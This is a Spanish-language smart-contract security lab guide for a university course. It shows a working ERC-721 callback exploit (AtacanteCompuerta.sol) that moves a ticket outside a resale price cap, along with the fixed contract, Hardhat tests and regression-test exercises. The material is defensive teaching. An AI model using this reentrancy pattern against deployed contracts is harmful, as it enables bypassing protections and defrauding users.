4 · Cambia quién carga con la prueba	Antes, el organizador prometía un tope y nadie podía comprobarlo. Ahora el tope es público, <code>immutable</code> y verificable por cualquiera, y quien quiera rodearlo tiene que montar una operación por fuera y asumir su riesgo. Eso no es cero: es haber movido el fraude de lo gratuito y automático a lo caro y manual.

EL CRITERIO PROFESIONAL, Y LA TESIS DEL CURSO

Un contrato no se juzga por si es imposible rodearlo —ninguno lo es—, sino por **si su autor sabe exactamente qué hace cumplir y qué no**. El equipo que dice «mi contrato impide la reventa abusiva» está vendiendo humo. El que dice «mi contrato impide que el precio registrado en cadena supere el tope, y no puede ver pagos por fuera; a cambio, la reventa deja de ser un mercado y vuelve a ser un trato con riesgo» está haciendo ingeniería.

Esa segunda frase es la que el docente va a pedir en la Sesión 8, con la tercera pregunta de la defensa: **díganme una cosa que su contrato NO puede impedir, y por qué siguen pensando que vale la pena.**

15 Lo que el bloqueo no impide

CUATRO COSAS MÁS, COMPROBADAS

Antes del reto final, cuatro comportamientos que no son fallos del tope, pero que cualquiera que lea el contrato debería poder enunciar. Son material de hallazgo para la ficha.

COMPORTAMIENTO	POR QUÉ, Y QUÉ IMPLICA
a · Reventa en cadena, cuantas veces quieran	Nada limita el número de reventas: la prueba la revende dos veces seguidas en el tope y la entrada termina en una tercera dirección. El tope limita el precio de cada reventa, no cuántas hay. Si quisieran limitarlas, haría falta un contador por token que el contrato no tiene.
b · Una oferta con precio cero es válida	Comprobado: <code>ponerEnVenta(1, 0)</code> se acepta (<code>oferta.activa = true</code> , <code>precio = 0</code>) y <code>comprarReventa(1, {value: 0})</code> transfiere la entrada. Es el intento 5 en su forma más pura: el traspaso gratuito. Y es también el uso más honesto que tiene —regalarle la entrada a un amigo—, así que no está claro que haya que prohibirlo. Pregunta para la ficha: ¿es un hallazgo o es una función?
c · El dueño registrado puede ser un contrato	Comprobado: con la entrada 1 en poder del contrato atacante, <code>esValida(1, direcciónDelContrato)</code> devuelve <code>true</code> y <code>esValida(1, direcciónDelRevendedor)</code> devuelve <code>false</code> . El portador válido es el programa, no la persona que lo controla. ¿Cómo entra esa persona al concierto? Eso no lo resuelve el contrato: lo resuelve la app de puerta, y hay que decirlo.
d · Un bot puede quedarse con la oferta recién publicada	<code>comprarReventa</code> solo exige que haya oferta activa, que la reventa esté abierta, que la entrada no esté usada, que el pago sea exacto y que el comprador no sea el vendedor. No hay nada que reserve la oferta para nadie. Quien vigile las transacciones pendientes y pague más gas compra antes que la persona que llevaba una hora esperando. Esa familia se llama front-running / MEV y se estudia en la Sesión 9 y en la Sesión 14.

UN QUINTO, QUE SÍ ES UNA DEFENSA QUE FUNCIONA

La reentrada en `retirar()` no sirve de nada, y conviene comprobarlo en vez de creerlo. **Comprobado:** un contrato con un `receive()` que vuelve a llamar a `retirar()` entra una vez más, la segunda llamada no consigue nada y el contrato se lleva **exactamente 0,12 ETH**, con `saldos` en cero al terminar. La razón está en el orden de tres líneas: `saldos[msg.sender] = 0` va **antes** del `call`.

Retengan la forma del argumento, porque es exactamente la del reto final: **el estado quedó cerrado antes de entregar el control a código ajeno**. Donde eso se cumple, no hay ataque. Donde no se cumple... sección 16.

Los cinco intentos anteriores se estrellaron o revelaron un límite. Este rompe la promesa del contrato: **una entrada sale por fuera del tope, sin pasar por `comprarReventa`, sin registrar ningún precio y sin dejar rastro de reventa**. Y usa solo lo que el contrato expone al mundo.

16.1 · La idea, en tres frases

1. `comprarReventa` abre la compuerta y llama a `_safeTransfer`.
2. `_safeTransfer`, por el estándar, **avisa al receptor** llamando a su `onERC721Received`. Si el receptor es un contrato, **su código corre en ese momento**.
3. En la versión vulnerable, la compuerta se cierra en la línea *siguiente* a `_safeTransfer`, es decir, **después** del aviso. Así que el código del receptor se ejecuta con la compuerta abierta.

Y con la compuerta abierta, ese receptor puede llamar a `transferFrom` y mover **otra entrada suya**, a donde quiera, al precio que haya pactado por fuera. El portero de `_update` lo deja pasar: ve la compuerta abierta y supone que quien está moviendo el token es `comprarReventa`.

Eso es `contracts/s07/AtacanteCompuerta.sol`. Lo importante son dos funciones:

```
/// Prepara el escape: qué entrada propia se quiere sacar y hacia dónde.
function prepararEscape(uint256 tokenId, address haciaDonde) external {
    tokenAEscapar = tokenId;
    destino = haciaDonde;
}

/// Dispara la compra legítima de otra entrada; el escape ocurre en el callback.
function comprarYEscapar(uint256 tokenEnVenta) external payable {
    entradas.comprarReventa{value: msg.value}(tokenEnVenta);
}

function onERC721Received(address, address, uint256, bytes calldata)
    external returns (bytes4)
{
    if (destino != address(0)) {
        address haciaDonde = destino;
        destino = address(0); // una sola vez, para no entrar en bucle
        // La compuerta sigue abierta en este instante: movemos UNA ENTRADA
        // PROPIA sin pasar por comprarReventa y, por tanto, sin tope.
        try IERC721(address(entradas))
            .transferFrom(address(this), haciaDonde, tokenAEscapar) {
            loLogro = true;
        } catch {
            loLogro = false;
        }
    }
    return IERC721Receiver.onERC721Received.selector;
}
```

Fíjense en el `try / catch`: no es decoración. Si el `transferFrom` del escape revierte y el atacante no lo atrapa, **la reversión se propaga y tumba la compra legítima entera**. Con el `catch`, el atacante pierde el escape pero se queda con la entrada que compró. Un atacante prudente nunca arriesga la operación buena por la mala.

16.2 · Corran el ataque

```
npx hardhat test test/s07/CompuertaAbierta.test.js
```

Salida esperada (real):

```
S07 · el ataque de la compuerta · versión VULNERABLE
  ✓ ★ el atacante saca su entrada por fuera del tope desde onERC721Received

S07 · el mismo ataque · versión CORREGIDA
  ✓ ★ la compuerta se cierra antes del aviso, y el escape falla
  ✓ y la compra legítima que disparaba el ataque sí se completa
  ✓ ★ y una reventa normal entre personas sigue funcionando

4 passing
```

El escenario que montan las cuatro pruebas es el mismo, y vale la pena leerlo despacio en

```
test/s07/CompuertaAbierta.test.js:
```

PASO	QUÉ OCURRE
1	El atacante compra la entrada 1 con su contrato, al precio oficial. Es la que quiere sacar.
2	Otra persona compra la entrada 2 y la pone en venta en el tope . Todo legal.
3	El atacante llama <code>prepararEscape(1, comprador)</code> : anota qué quiere sacar y hacia dónde.
4	El atacante llama <code>comprarYEscapar(2)</code> pagando el tope. Compra de verdad la entrada 2... y, dentro del aviso de recepción, saca la entrada 1.

Y lo que quedó, comprobado contra la versión vulnerable:

```
expect(await atacante.loLogro()).to.equal(true);
expect(await entradas.ownerOf(1)).to.equal(comprador.address); // se escapó
expect(await entradas.saldos(atacante.target)).to.equal(0n);    // sin precio
```

LO QUE ACABAN DE VER, DICHO SIN ADORNOS

La entrada 1 cambió de dueño. **El contrato no registró ningún precio por ese traspaso** (`saldos` del atacante en cero), no emitió `Revendida`, no consultó el tope y no comprobó siquiera que hubiera una oferta. Lo que el comprador haya pagado por fuera puede ser diez veces el tope: para el contrato, ese movimiento es indistinguible de nada.

La promesa del contrato —«da igual que alguien escriba su propio programa: el contrato lo rechaza»— era **falsa**, y estuvo publicada semanas con once pruebas en verde y una especificación que la daba por demostrada.

16.3 · Segunda parada obligatoria

ANTES DE ABRIR Entradas.sol

Escriban en la ficha, en una frase, **cuál es la corrección**. Tienen todo lo necesario: saben dónde está el portero, saben cuándo se abre la compuerta y acaban de ver cuándo se cierra. La pregunta exacta es: *¿en qué momento debería cerrarse la compuerta para que el aviso al receptor ya no la encuentre abierta?*

Escribanlo. Después abran el archivo. Casi todos los equipos aciertan en esta parada, y la sensación de acertar es el objetivo del laboratorio.

16.4 • Las tres líneas

Ahora sí: abran `contracts/s07/Entradas.sol` y vayan a `_update`. En VS Code pueden comparar los dos archivos directamente: selecciónenlos en el explorador, clic derecho, *Compare Selected*. La única diferencia de todo el contrato está aquí.

```
// ANTES · EntradasVulnerable.sol
if (from != address(0) && !_transferenciaAbierta) {
    revert TransferenciaDirectaBloqueada();
}
return super._update(to, tokenId, auth);

// DESPUÉS · Entradas.sol
if (from != address(0)) {
    if (!_transferenciaAbierta) revert TransferenciaDirectaBloqueada();
    // La compuerta es de UN SOLO USO y se cierra aquí, antes de que
    // `_safeTransfer` avise al receptor.
    _transferenciaAbierta = false;
}
return super._update(to, tokenId, auth);
```

16.5 • Por qué funciona • esto lo escriben ustedes

Es el entregable 3 (cinco a diez renglones, con sus palabras). Para que salga bien, respondan estas cuatro preguntas; están en orden y cada una se contesta mirando el código:

#	LA PREGUNTA
1	¿En qué momento del recorrido de <code>_safeTransfer</code> corre <code>_update</code> , y en qué momento corre el aviso <code>onERC721Received</code> ? ¿Cuál va primero? (Está en <code>ERC721.sol</code> de OpenZeppelin: <code>_safeTransfer</code> → <code>_transfer</code> → <code>_update</code> , y después la comprobación del receptor.)
2	Si la compuerta se pone en <code>false</code> dentro de <code>_update</code> , ¿en qué estado la encuentra el aviso al receptor? ¿Y qué le pasa al <code>transferFrom</code> del escape?
3	¿Por qué la línea <code>_transferenciaAbierta = false;</code> que sigue estando en <code>comprarReventa</code> ya no hace falta, y por qué no estorba? ¿Qué significa que la compuerta sea «de un solo uso»?
4	¿Por qué la corrección no rompe la reventa normal? (La cuarta prueba del archivo lo comprueba: una reventa entre dos personas sigue funcionando. Expliquen por qué tenía que seguir funcionando.)

Contra la versión corregida, el escape falla. **Comprobado:** `loLogro()` queda en `false`, `ownerOf(1)` sigue siendo el contrato atacante, y la compra de la entrada 2 se completa igual. Y si se le quita el `try / catch` al atacante para ver qué error se estaba tragando, aparece:

```
reverted with custom error 'TransferenciaDirectaBloqueada()'
```

Es el mismo error del intento 1. El portero volvió a hacer su trabajo.

16.6 · La tabla del informe

AL FINAL DEL ATAQUE...	CONTRA	ENTRADASVULNERABLE	CONTRA	ENTRADAS
¿Quién tiene la entrada 1?				
¿Quién tiene la entrada 2?				
saldos del atacante				
¿Se emitió Revendida por la entrada 1?				
loLogro()				
¿Cuánto pagó de más el comprador, y dónde consta?				

16.7 · Su prueba de regresión

Una **prueba de regresión** es la que habría atrapado el fallo antes de publicarlo. Su criterio de aceptación es exacto y se comprueba en treinta segundos:

EL CRITERIO

Su prueba tiene que estar **en rojo contra** `EntradasVulnerable` y **en verde contra** `Entradas`. Si pasa contra las dos, no prueba nada. Si falla contra las dos, está mal escrita.

El truco para correr la misma prueba contra los dos contratos es una variable de entorno, igual que en el cazador de mutantes de la Sesión 8:

```
// test/s07/<equipo>/Regresion.test.js
import { expect } from "chai";
import { network } from "hardhat";

const { ethers, networkHelpers } = await network.create();
const { time } = networkHelpers;

const CONTRATO = process.env.CONTRATO ?? "Entradas"; // así se cambia de versión
const PRECIO = ethers.parseEther("0.1");
const TOPE = ethers.parseEther("0.12");

async function montar() {
  const [, atacanteEOA, vendedor, comprador] = await ethers.getSigners();
  const cierre = (await time.latest()) + 7 * 24 * 60 * 60;
  const entradas = await ethers.deployContract(CONTRATO,
    ["Concierto USB", 50, PRECIO, TOPE, cierre]);
  const atacante = await ethers.deployContract("AtacanteCompuerta",
    [entradas.target], atacanteEOA);
  await atacante.connect(atacanteEOA).comprarOriginal({ value: PRECIO });
  await entradas.connect(vendedor).comprar({ value: PRECIO });
  await entradas.connect(vendedor).ponerEnVenta(2, TOPE);
  return { entradas, atacante, atacanteEOA, comprador };
}

describe(`regresión contra ${CONTRATO}`, () => {
  it("INVARIANTE · ninguna entrada cambia de dueño sin emitir Revendida",
    async () => {
      const { entradas, atacante, atacanteEOA, comprador } = await montar();
      await atacante.connect(atacanteEOA).prepararEscape(1, comprador.address);
      await atacante.connect(atacanteEOA).comprarYEscapar(2, { value: TOPE });

      const movimientos = (await entradas.queryFilter(entradas.filters.Transfer()))
        .filter((e) => e.args.from !== ethers.ZeroAddress); // fuera las acuñaciones
      const reventas = await entradas.queryFilter(entradas.filters.Revendida());
      expect(movimientos.length).to.equal(reventas.length);
    });
});
```

Y se corre así, en PowerShell:

```
$env:CONTRATO = "Entradas"; npx hardhat test test/s07/<equipo>/Regresion.test.js
$env:CONTRATO = "EntradasVulnerable"; npx hardhat test test/s07/<equipo>/Regresion.test.js
$env:CONTRATO = $null
```

En macOS o Linux: `CONTRATO=EntradasVulnerable npx hardhat test ...`. **Salida real** de las dos corridas con el invariante de arriba:

```
regresión contra Entradas
  ✓ INVARIANTE · ninguna entrada cambia de dueño sin emitir Revendida
  1 passing

regresión contra EntradasVulnerable
  1) INVARIANTE · ninguna entrada cambia de dueño sin emitir Revendida:
    AssertionError: expected 2 to equal 1
  1 failing
```

«Expected 2 to equal 1»: dos entradas se movieron y solo una reventa quedó registrada. **Ese mensaje es el fallo, dicho por una máquina.**

LO QUE TIENEN QUE ESCRIBIR USTEDES

El invariante de arriba es el del docente: cópienlo, córranlo y entiéndanlo, pero **su entrega tiene que comprobar un invariante distinto** del mismo fallo. Tres candidatos; elijan uno o inventen otro, y cumplan el criterio (rojo contra la vulnerable, verde contra la corregida):

- **Por dueño:** después del ataque, el contrato atacante sigue teniendo las entradas que compró. ¿Cuántas tiene al final en cada versión? `balanceOf` lo dice en una línea.
- **Por dinero:** la suma de todo lo acreditado en `saldos` tiene que corresponder con lo que de verdad entró al contrato. Comprueben si el escape rompe esa cuenta o no, y expliquen el resultado (ojo: puede que no la rompa, y eso también es un hallazgo sobre qué invariantes sirven).
- **Por el propio atacante:** `loLogro()` nunca debería poder ser `true`. Es el más directo, y por eso el menos interesante: si eligen este, añadan una segunda comprobación de estado del contrato de entradas, no solo del atacante.

Un invariante bueno se escribe sin nombrar el ataque: habla de una propiedad que el sistema debe cumplir siempre. Por eso atrapa también los ataques que nadie imaginó.

17 Las familias de ataque

LO QUE SE LLEVAN A SU CONTRATO

Cada intento de esta guía es un caso particular de una **familia**. Las familias son lo que sirve: el truco concreto no se repite nunca igual, pero la familia sí. Esta tabla es la herramienta que hay que aplicar al contrato propio.

INTENTO	FAMILIA	EN QUÉ CONSISTE	LA REGLA QUE DEJA
1	Llamada directa rodeando la interfaz	El atacante no usa la app ni la web: llama al contrato desde su propio programa, con los parámetros que quiera.	Toda validación que viva solo en la interfaz no existe . Si una regla importa, está en el contrato o no está.
2	Puerta alterna a la misma operación	La misma operación tiene dos o más entradas públicas (<code>transferFrom</code> y <code>safeTransferFrom</code>) y el control se puso en una sola.	El control se pone en el punto por donde pasa el estado, no en cada puerta. Por eso se controla <code>_update</code> y no cada función: un control por puerta se olvida siempre de una.
3	Abuso de delegación de permisos	El atacante delega el permiso en un cómplice: <code>approve</code> , <code>setApprovalForAll</code> , un rol, un operador.	Conceder un permiso se concede , porque conceder no mueve nada. El control va en el ejercicio . No confundan «no revirtió» con «consiguió algo».
4	Manipulación del parámetro de entrada	El atacante pasa un valor fuera de rango por una puerta legítima: un precio sobre el tope, un cero, el límite exacto.	Todo parámetro que venga de afuera se valida en el borde exacto y se prueba de los dos lados. <code>></code> y <code>>=</code> no son lo mismo.
RETO (16)	Devolución del control a código ajeno en mitad de una operación	La operación llama a código del atacante (aviso al receptor, <code>call</code> , envío de ether) estando a medio terminar, con una invariante abierta.	Todo lo que entregue el control a código ajeno debe dejar el estado ya cerrado antes de hacerlo. Es la familia de la <i>reentrada</i> , que se ve completa en la Sesión 9.
5	Canal lateral fuera de la cadena	La operación en cadena cumple la regla; el valor real se mueve por un canal que el contrato no ve.	No es un fallo: es el límite. No se arregla con código. Se enuncia, se acota y se dice en voz alta en la sustentación.
15.d	Front-running / MEV	Quien ve las transacciones pendientes y paga más gas se adelanta a la operación de otro. En este contrato, a una oferta recién publicada.	Si el orden importa, el contrato no puede dejarlo al azar del bloque. Sesión 9 y Sesión 14.

LA REGLA GENERAL, QUE ES LO ÚNICO QUE HAY QUE MEMORIZAR

El control se pone en el punto por donde pasa el estado, no en cada puerta; y todo lo que entregue el control a código ajeno debe dejar el estado ya cerrado antes de hacerlo.

Las dos mitades son las dos mitades de esta sesión. La primera es lo que el contrato hizo **bien**: por eso los intentos 1 a 4 se estrellaron contra un único portero. La segunda es lo que hizo **mal**: la compuerta seguía abierta cuando le pasó el control al receptor. El mismo contrato, acertando en una mitad y fallando en la otra.

Llévense las dos a su proyecto. Por cada función del contrato propio: *¿dónde está el punto único por el que pasa este estado? y ¿esta función llama a código que no escribí yo, y qué queda a medio camino en ese instante?* Esas dos preguntas están en la pasada 4 de la ficha, y no son retóricas.

18 Reto extra · su propio sexto intento

OPCIONAL · SUMA

Opcional, y suma sobre la nota del laboratorio: **un intento de invención propia**, distinto de los cinco y distinto del de la compuerta, con una prueba que demuestre si falla o funciona.

```
mkdir contracts/s07/mi-equipo
cp contracts/s07/AtacanteTope.sol contracts/s07/mi-equipo/MiAtacante.sol
```

Renombren el contrato a `MiAtacante` adentro del archivo (si dejan `AtacanteTope`, Hardhat se queja de nombre duplicado), añadan su función con un comentario de dos líneas que diga qué hipótesis prueba, y compilen con `npm run hardhat compile`.

Tres sitios donde mirar. No son respuestas y no se garantiza que funcionen:

A

IDEA 1 · EL INVENTARIO COMPLETO DE LO HEREDADO

¿Hay alguna forma de mover un ERC-721 que no pase por donde ustedes creen?

Abran `node_modules/@openzeppelin/contracts/token/ERC721/ERC721.sol` y hagan el inventario de **todo** lo público que hereda el contrato. Por cada entrada del inventario, una pregunta: ¿acaba en `_update` o no? Lo que no acabe en `_update` no está vigilado por el portero.

B

IDEA 2 · DEJEN DE MOVER LA ENTRADA Y MUEVAN OTRA COSA

El dueño registrado de la entrada 1 no es una persona: es un contrato.

Lean la primera línea del estado de `AtacanteTope`: `address public immutable duenno`. Pregúntense qué cambiaría si esa palabra `immutable` no estuviera ahí, y quién controla *de hecho* una entrada cuyo dueño registrado es un programa. El gancho `_update` vigila los movimientos **del token**: ¿vigila algo más?

La sección 16 usó un receptor que hace algo de más. ¿Y uno que no hace nada?

¿Qué pasa si el receptor de una reventa **revierte** en su `onERC721Received`, o si el destinatario de un `retirar()` rechaza el envío? No van a robar nada, pero pueden **estorbar**: averigüen a quién y cuánto. Esa familia se llama denegación de servicio y también está en la Sesión 9. (Pista de lectura: `retirar()` tiene un `require(ok, "el envio fallo")`. ¿A quién le fastidia ese `require`?)

La prueba del reto extra se juzga con el mismo criterio que todo lo demás: si el intento falla, exijan el error exacto con `revertedWithCustomError`; si funciona, muestren **qué cambió en el estado** (dueño, saldo, evento emitido o no emitido). Recuerden el intento 3: una transacción que no revierte puede no haber conseguido nada.

SÍNTOMA	CAUSA Y SOLUCIÓN
«npx no se reconoce»	Node.js no está instalado, o la terminal es anterior a la instalación. Node 22 LTS y terminal nueva.
«not inside a Hardhat project»	La terminal no está en <code>laboratorios-evm</code> . Usen <code>cd</code> .
<code>npx hardhat test test/s07</code> no encuentra nada	<code>hardhat test</code> recibe archivos , no carpetas: <code>npx hardhat test test/s07/AtaqueAlTope.test.js</code> .
La prueba de regresión pasa contra las dos versiones	<code>CONTRATO</code> no llegó al proceso, o el invariante no distingue. Impriman <code>CONTRATO</code> con un <code>console.log</code> al principio del archivo: si dice <code>Entradas</code> las dos veces, el problema es la variable de entorno, no la prueba.
La variable <code>CONTRATO</code> se queda pegada entre corridas	En PowerShell, <code>\$env:CONTRATO</code> vive en esa terminal hasta que la cierren. Límpiela con <code>\$env:CONTRATO = \$null</code> al terminar, o abran una terminal nueva.
Al compilar: nombre de contrato duplicado	Copiaron un contrato y dejaron el mismo nombre adentro. Renómbrenlo.
<code>ERC721InvalidReceiver("0x...")</code> al comprar con su contrato	Su contrato no implementa <code>onERC721Received</code> . <code>comprar()</code> usa <code>_safeMint</code> , que exige que el receptor avise que sabe recibir tokens. Copien la función del atacante original.
<code>NoEraElDuenno()</code> en una función propia	Desplegaron su atacante con la cuenta por defecto y lo llaman con otra. El tercer argumento de <code>deployContract</code> es quién despliega, y <code>duenno</code> queda fijado en el constructor.
«The given contract doesn't have a custom error named ...»	Le pasaron a <code>revertedWithCustomError</code> el contrato equivocado. Los errores del tope los declara el contrato de entradas , aunque la llamada entre por su atacante: <code>revertedWithCustomError(entradas, "...")</code> .
El ataque de la compuerta «no hace nada»	Falta <code>prepararEscape</code> antes de <code>comprarYEscapar</code> : con <code>destino</code> en cero, el callback no intenta nada. Y se dispara una sola vez a propósito, para no entrar en bucle.
El ataque tumba la compra legítima entera	Le quitaron el <code>try / catch</code> al <code>onERC721Received</code> . Entonces la reversión del escape se propaga y revierte toda la transacción. Es un resultado interesante, no un error: anótenlo.
La prueba pasa, pero no por la razón que creen	Algo más la hace revertir (aforo, cierre, pago inexacto, permisos). Diseñen el escenario para que solo la regla que quieren probar pueda detenerla, y exijan el error exacto.
<code>loadFixture</code> falla con una función anónima	La fixture necesita nombre: <code>async function montar() { ... }</code> , no una flecha.
<code>ethers is not defined</code> o <code>require is not defined</code>	Código de un tutorial de Hardhat 2. Aquí se usa <code>import</code> y <code>const { ethers, networkHelpers } = await network.create();</code> .

«Cannot mix BigInt and other types»	Los montos y los <code>tokenId</code> son BigInt: <code>1n</code> , <code>TOPE - 1n</code> . No los mezclen con números normales.
No usen <code>.to.be.reverted</code> a secas	Está desaconsejado en Hardhat 3 y, peor, no dice por qué revirtió: una prueba así pasa aunque el contrato falle por otra razón. Siempre <code>revertedWithCustomError</code> .
Enviar ether al contrato «para ver qué pasa» y no entender el error	El contrato no tiene <code>receive</code> ni <code>fallback: function selector was not recognized and there's no fallback nor receive function</code> . Es el comportamiento correcto, no un fallo.
Pagar de más en la reventa «para forzar un precio mayor»	<code>comprarReventa</code> exige <code>msg.value == oferta.precio</code> , exacto: revierte con <code>PagoIncorrecto(esperado, recibido)</code> .
Editaron un contrato del repositorio y ahora el ataque «funciona»	Eso no es un ataque. <code>git checkout contracts/s07/</code> y vuelvan a empezar desde afuera.
La prueba del tiempo no llega al segundo que quieren	<code>time.increaseTo(cierre + 1)</code> para pasarse del cierre; <code>time.setNextBlockTimestamp(t)</code> para caer exactamente en <code>t</code> .

20 Preguntas de cierre

SE RESPONDEN MIRANDO EL CÓDIGO

1. ¿Por qué `_update` no aparece en la pasada 1, y qué les dice eso sobre leer un contrato solo por su interfaz pública?
2. Los cinco intentos de `AtaqueAlTope.test.js` dan **el mismo resultado** contra las dos versiones del contrato. ¿Por qué? ¿Qué tenía que tener un intento para distinguirlas?
3. La versión vulnerable pasaba las once pruebas del intento 1 al 5. Escriban en dos frases qué le diría eso a un cliente que les pide «pruebas verdes» como garantía.
4. El intento 3 está en verde y el ataque fracasó. Expliquen cómo una prueba en verde puede documentar un fracaso, y qué habría que mirar para no confundirse.
5. Argumenten, con una frase por cada uno de los cuatro argumentos de la sección 14.1, por qué el intento 5 no vuelve inútil al contrato. Después escriban la objeción más fuerte que se les ocurra **contra** esos argumentos.
6. Una oferta con precio cero es válida (sección 15.b). ¿Es un hallazgo que reportarían en una auditoría, o es una función del sistema? Justifiquen con la severidad que le pondrían según `material/proyecto/auditoria-cruzada.pdf`.
7. Clasifiquen el hallazgo de la sección 16 con el formato de seis campos de la auditoría cruzada: título, severidad, ubicación con línea, descripción, escenario de explotación y recomendación mínima. Es exactamente el ejercicio de la Sesión 9, hecho sobre un caso real.
8. Recorran la tabla de familias (sección 17) sobre **su** contrato de proyecto y anoten, por cada familia, si aplica o no y por qué. Las que apliquen son su lista de pruebas pendientes.
9. ¿Dónde está la línea que hace cumplir la regla principal de **su** contrato? Si no la encuentran en un minuto, ese es el resultado de la pregunta, y hay que arreglarlo antes de la Sesión 8.

21 Lista de chequeo antes de entregar

☐ `npx hardhat test test/s07/AtaqueAlTope.test.js` da `11 passing`.

- ☐ `npm hardhat test test/s07/CompuertaAbierta.test.js` da `4 passing` , y la salida está en el informe.
- ☐ La ficha de lectura está llena a mano sobre `EntradasVulnerable.sol` : las cuatro pasadas y la página de defensa.
- ☐ Las dos paradas están escritas en la ficha: la hipótesis de la sección 10 y la corrección de la 16.3, las dos **antes** de leer la respuesta.
- ☐ La tabla 16.6 está llena, con las dos columnas.
- ☐ La explicación de las tres líneas (16.5) responde las cuatro preguntas, con nuestras palabras.
- ☐ `test/s07/<equipo>/Regresion.test.js` comprueba un invariante **distinto** del ejemplo.
- ☐ Esa prueba está en **rojo** contra `EntradasVulnerable` y en **verde** contra `Entradas` , y las dos salidas están en el informe.
- ☐ La prueba exige el error exacto o comprueba el estado; no usa `.to.be.reverted` .
- ☐ Opcional: el reto extra de la sección 18, con su prueba.
- ☐ Los contratos del repositorio están sin modificar (`git status` no lista nada en `contracts/s07/` salvo nuestra subcarpeta).
- ☐ `git status` revisado: ninguna clave ni dato personal en el repositorio.

22 Rúbrica

LABORATORIO 07

CRITERIO	PESO	EXCELENTE (5,0)	ACEPTABLE (3,5)	INSUFICIENTE (< 3,0)
Ficha de lectura	25 %	Las cuatro pasadas llenas con precisión; la pasada 2 incluye qué pasa si se pierde cada llave; la pasada 4 recorre la lista completa, incluidas las dos preguntas sobre código ajeno.	Las cuatro pasadas llenas, algunas superficiales.	Pasadas vacías o copiadas de la especificación sin mirar el código.
El gancho y las tres líneas	25 %	Explican <code>_update</code> , la compuerta, el orden de <code>_update</code> y del aviso al receptor, y por qué la corrección no rompe la reventa normal. Las dos paradas están escritas antes de la respuesta.	Identifican el fallo y la corrección, con explicación parcial del orden.	Repiten que «estaba abierta» sin saber cuándo ni por qué.
Prueba de regresión	30 %	Invariante propio, enunciado sin nombrar el ataque; rojo contra la vulnerable con un mensaje legible y verde contra la corregida; las dos salidas en el informe.	Prueba propia que cumple el criterio, invariante muy pegado al ataque.	Sin prueba, copiada tal cual del ejemplo, o que no distingue las dos versiones.
Familias y límite honesto	20 %	Aplican la tabla de familias al contrato propio; distinguen fallo (sección 16) de límite (intento 5) y argumentan los dos con evidencia del código.	Distinguen fallo de límite sin aplicar las familias al proyecto.	Concluyen que el contrato es inútil, o que ya es infalible porque se corrigió.

El reto extra de la sección 18, bien demostrado, suma hasta 0,5 sobre la nota final del laboratorio.

23 Qué sigue

TRABAJO AUTÓNOMO PARA LA SESIÓN 8

Hoy leyeron un contrato ajeno y le encontraron un fallo real. El trabajo de esta semana es repetir las cuatro pasadas sobre **el contrato de su proyecto**, el que están escribiendo con ayuda de IA, y llenar una segunda ficha de lectura sobre él. Dos preguntas de la pasada 4 son nuevas y salen directamente de hoy: *¿esta función llama a código que no escribí yo? y si lo hace, ¿qué queda a medio camino en ese instante?*

En la Sesión 8 cada equipo sube al frente y responde las **tres preguntas de defensa** de la última página de la ficha:

1. Señalen la línea que hace cumplir su regla principal, y digan qué pasa si la borro.
2. ¿Quién puede quedarse con el dinero o con el control si pierde o filtra su llave, y qué pasa con el sistema ese día?
3. Digan una cosa que su contrato **no** puede impedir, y por qué siguen pensando que vale la pena.

Las preguntas no cambian, no son sorpresa y están impresas en la ficha. La única forma de fallarlas es no haber leído el propio contrato. En la Sesión 9 la ficha se usa una tercera vez, sobre el contrato de **otro** equipo, en la auditoría cruzada.

Y LA FRASE CON LA QUE CIERRA LA SESIÓN

El control se pone en el punto por donde pasa el estado, no en cada puerta; y todo lo que entregue el control a código ajeno debe dejar el estado ya cerrado antes de hacerlo.

Si solo se llevan una línea de esta sesión, que sea esa. Se la llevan de un contrato que acertó en la primera mitad y falló en la segunda, y que pasaba todas sus pruebas mientras fallaba.

24 Referencias

- Los contratos del laboratorio: `contracts/s07/EntradasVulnerable.sol` y `contracts/s07/Entradas.sol` · la especificación del autor: `demo-entradas/ARQUITECTURA.md` .
- OpenZeppelin Contracts 5.x · *ERC721*: el gancho `_update` , qué funciones pasan por él y en qué orden corre la comprobación del receptor. <https://docs.openzeppelin.com/contracts/5.x/api/token/erc721>
- EIP-721 · *Non-Fungible Token Standard* (la obligación de avisar al receptor). <https://eips.ethereum.org/EIPS/eip-721>
- Formato de hallazgo y severidades del curso: `material/proyecto/auditoria-cruzada.pdf` .
- Ficha de lectura y defensa: `material/proyecto/ficha-lectura-contrato.pdf` .